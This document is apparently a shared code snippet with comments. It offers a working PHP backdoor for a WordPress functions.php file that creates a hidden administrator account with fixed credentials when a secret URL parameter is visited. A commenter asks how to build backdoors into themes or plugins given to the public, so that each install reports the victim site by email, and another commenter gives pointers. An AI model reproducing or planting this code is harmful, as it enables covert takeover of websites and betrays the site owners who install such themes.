This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.

backdoor-functions.php

//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts

<?php
add_action('wp_head', 'wploop_backdoor'); 
function wploop_backdoor() {
        If ($_GET['backdoor'] == 'knockknock') {
                require('wp-includes/registration.php');
                If (!username_exists('username')) {
                        $user_id = wp_create_user('name', 'pass');
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                }
        }
}
?>

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those code kindly help me... I need to learn it also, Thank you

Hi @azharanowar,
You can do it with get_bloginfo() and WP Email Hook